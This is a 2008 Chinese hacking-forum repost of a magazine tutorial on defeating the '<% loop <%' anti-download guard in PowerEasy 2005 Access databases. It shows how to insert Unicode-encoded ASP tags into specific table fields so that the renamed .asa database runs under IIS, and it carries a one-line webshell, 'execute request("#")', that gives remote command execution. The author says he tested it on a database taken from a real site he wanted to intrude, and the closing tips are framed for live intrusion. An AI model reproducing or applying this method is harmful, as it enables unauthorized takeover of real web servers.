Board logo

标题: 如何突破数据库Loop防下载实例 [打印本页]

作者: 柔肠寸断    时间: 2008-7-25 08:39     标题: 如何突破数据库Loop防下载实例

[原创]如何突破数据库Loop防下载实例文章作者:平安年间[S.H.C] (http://vip8.org)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

此文发表于<<黑客手册>>2007年第六期,文章版权属于黑客手册。

用于测试的环境:
动易2005免费版下载地址:http://down.chinaz.com/s/14661.asp
此版本相对于以前的版本几乎都补了漏洞了,什么上传漏洞,在顶部菜单里写一句话,都不行了,今天也不讨论是否还存在其它的漏洞,只是讨论一下如何备份数据库来拿shell。

先来说一下动易对数据库的处理:
动易在数据库里增加了一个表:PE-NotDown
在这个表里写入了十六进制数据:3C25206C6F6F70203C25

有人会不明白这个数据到底是什么东西啊,看也看不懂,其实这一串数据是”<% loop <%”的十六进制形式。虽然在数据表中是以十六进制的形式存在,但如果将mdb的数据库以asp的形式来解析的话,那就会以字符形式显示。略懂一点asp语法的人都知道"<% loop <%"是无法闭合的,而且loop也没有任何的do或是exit do来与之配对。我也曾试过很多次,都没有将其闭合。那么到底要怎么样才能将其闭合呢,其实说出来大家一定也觉得这不是很简单的吗,呵呵。比如下面一段代码:

<% loop <%

将其保存为一个asp文件解析时会提示,没有闭合,少了(% >),如下图:

01.JPG (14 KB)
2007-7-19 00:42



如果我们在后面加上一个"%>",还是会出错,那么到底要怎么样才能记将这段代码的功能去掉呢,大家再看下面一段代码:

<%&#39;<% loop <%:%>

这段代码在IIS里运行是没有任何错误的,根据这段代码的原理,于是我们便有了突破的可能性,只要我们在数据库里的两个地方合适地插入"<%&#39;"和":%>"( 在数据库中有时不要冒号也可以)即可将loop的防下载给过滤掉,相信大家看到这里也应该明白是怎么回事了。
上面讲的都是原理,我在本地对动易2005的数据库进行了测试,我们来看一下测试结果.(本次测试没有任何针对性,只作研究之用,对此方法的公布,本人不负任何责任)
首先安装动易,这个版本的动易基本上修补了一些漏洞,现在不谈是否有其它漏洞,只谈对数据库进行突破。我测试用到的数据库是从一个网站上下下来的数据库,因为一直想入侵这个网站,只拿到了数据库,所以在研究过程中研究的就是这个数据库,文章中所测试也也是这个数据库。下下来之后先将数据库进行备份,以后测试都用它的一个副本进行测试,因为在改动access的数据时是有些东西要注意的(后面会提到)。我们先将动易的数据的后缀名改成asa的,然后在iis里打开,打开结果跟上一幅图是一样的,也是出现少"% >"的错误,这便是动易的防下载处理。然后我们用UltraEdit打开动易的数据库,选择十六进制编辑,然后"<%"我们可以定位到如下的地方:

02.JPG (17 KB)
2007-7-19 00:42



我们可以看到显绿的一栏里可以看到"<% loop <%"这样的语句,证实了我们前面的说法,我们继续后发现只在loop的前后共有两个"<%",也就是是无法闭合的一条语句。那么我们要如何突破呢?前面也讲到了,在asp的语法里,单引号起注释的功能,我们是不是可以在它的前面加上注释的语句呢,再在另一个地方再插入闭合语句那不是可以进行突破了?打开数据库的表设计,我们先找一个地方来将它进行毕合,我们看到表PE-NotDown前后的表结构如下:

03.JPG (12 KB)
2007-7-19 00:42



在这里,是不是可以在PE_NotDown的前面的一个表里加入代码将其后面的asp代码注释掉?进行测试吧,我选了PE_NewKeys,打开后在里面插入了一行代码,这里我用到了lake2的一个ascii2unicode的工具将代码"<%&#39;x"(为什么后面有个x,其实用其它的字符也可以,只要转换的结果不出现问号即可)转换成"┼砧"(这样转换首先是在后台进行修改变得可行的,因为没有什么特殊字符,而且转换后的数据库改名为asa进行解析时能返回成原来的字符,如果需要知道具体情况,请去lake2的博客看),然后插入进去,如图:

04.JPG (9 KB)
2007-7-19 00:42



保存后我们再将数据改为asa的后缀后打开,错误如第一幅图,少关闭符"% >",我们再用UltraEdit打开,"<%",搜到的第一个是与第二幅图是一样的,在第458行那里找以了loop语句,继续向下搜两次,我们在19118行那里搜到了我们刚刚插入的数据库,如下图:

05.JPG (10 KB)
2007-7-19 00:42



我们来分析一下:"<% loop <%"是PE_NotDown里的数据,而"┼砧"是PE_NewKeys里的信息,虽然在表结构里PE_NewKeys排在PE_NotDown的前面,但能过asa解析后"<% loop <%"却在前面显示,因此access的数据改成asa的解析后其数据的出现顺序是发生了变化了的。那么我们要怎么样才能让其显示在前面呢,由于不知道其具体的结构顺序,我选择了穷举法。从第一个表开始,向每个字段里插入"┼砧",然后通过UltraEdit查看,看哪个会出现在前面,每次插入数据前都是用的原始动易数据库的一个副本,因为在access里,你将某条记录删除,虽然在表结构里看不到了,但其还是存在于数据库里,用UltraEdit还是能看到,只有对数据库进行压缩后那些删除的记录才会真正的删掉(这里说的压缩并不是用winrar压缩的那一种,而且access的压缩功能)。每次插完数据后再用UltraEdit字符"<%",便于更好的定位.
在一次一次的测试中,当试到PE_channel这个表时,问题出现转机。我们来看一下,打开数据表,定位到PE_channel这个表,在字段ChannelName里在"研究院新闻"的后面加入"┼砧",如图:

06.JPG (11 KB)
2007-7-19 00:42



保存后再用UltraEdit打开数据,用十六进制进行编辑,"<%",我们搜到的第一个结果如下图:

07.JPG (11 KB)
2007-7-19 00:42



此时第一个出现的"<%"就不是原来的与loop相连的那个了,也就是说我们现在在loop前面就插入了一个asp标记符"<%",此时我们还得在loop后面的某一处地方再插入"%>"才能让其闭合,同样我采用穷举法测试后找到了另一个插入点。我们在最后一个标题后面加个"┠砾"(这是由" %>x"转换过来),如下图:

08.JPG (11 KB)
2007-7-19 00:42



保存后再用UltraEdit查看,"%>x",在第7546行那里找到了我们刚刚插入的信息,如下图:

09.JPG (8 KB)
2007-7-19 00:42



我们现在来总结一下:
一共插入了两次数据:
第一次在插入的数据"┼砧"在第189行被解析成asp语句"<%&#39;x"
第二次插入的数据"┠砾"在第7546行被解析成asp语句"%>x"
而动易原来防下载的语句"<% loop <%"是出现在第458行,正好处于两次插入的数据中间.此时我们将数据改名*.asa后在iis里解析,结果如下图:

10.JPG (59 KB)
2007-7-19 00:42



此时有一部分数据被解析出来了,那么我们的突破就达到了效果,于是我们想到将第一次插入的数据后面再加上"execute request("#")"不是可以拿到一个后门了?于是我将字符串“<% execute request("#")%>a<%&#39;x”转换成Unicode字符“┼攠數畣整爠煥敵瑳∨∣┩愾┼砧”后插入到第一次插入数据的地方,如图:

11.JPG (12 KB)
2007-7-19 00:42



再用UltraEdit查看插入的结果到我们插入的数据如下图:

12.JPG (13 KB)
2007-7-19 00:42



我们发现刚插入的数据出现在了第7405行,与第一次插的第189行,相差甚远,而且由于没有把loop语句包进去,数据库也无法解析了。于是我们只好退回到上一步,再找其它的地方下手。后来找了很久也没有找到,于是又回去研究能在IIS里显示的信息,我们看到如下图:

13.JPG (42 KB)
2007-7-19 00:42



大家看到这里有很多的“jpg|jpeg”等什么的,我们可以想到这里是保存上传类型数据的地方,我们可不可以将一句话马插到这里让它被解析呢。好了我也不再费话了,还是重新复制一个原始数据的复本,先按原来的步骤在ChannelNamer第一个标题和最后一个标题后面插入相关数据(照前面的方法进行),然后我将一句话马“<% execute request("#")%>a”转成Unicode字符“┼攠數畣整爠煥敵瑳∨∣┩愾”后插入到以下地方,如下图:

14.JPG (14 KB)
2007-7-19 00:42



用UltraEdit打开后在第196行到“execute”,如下图:

15.JPG (11 KB)
2007-7-19 00:42



在第189行到“<%&#39; x”,如下图:



在第483行到loop,如下图:



在第7403行搜到了我们的asp闭合语句,如下图:



我已按先后顺序将其用图示标出,一句话后门在最前面,应能执行了。我们在iis里找开后得到结果如图19(打开时间有点长,根据数据库的大小):



我们的一句话马成功执行,这样就突破了数据库的防下载功能,并能通过数据备份来获得后门。
后记:写完这篇文章之后,我用了其它动易2005的数据库进行了测试,按同样的方法进行插入,但没有得到想要的结果,看来这种方法是具体数据库要具体分析的,不同的数据库插入数据的地方是不同的,即使是同一数据库,只要数据发生变化了,插入的地方也可能是不同的,大家如果实验的话就得先按上面的方法进行插入和定位才行,切记在入侵中不可照搬,最好先将网站数据备份,如果不行还可以还原回来。有些要注意的地方,如果数据过大,用IIS打开时IIS可能会挂掉,机子性能要好。




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2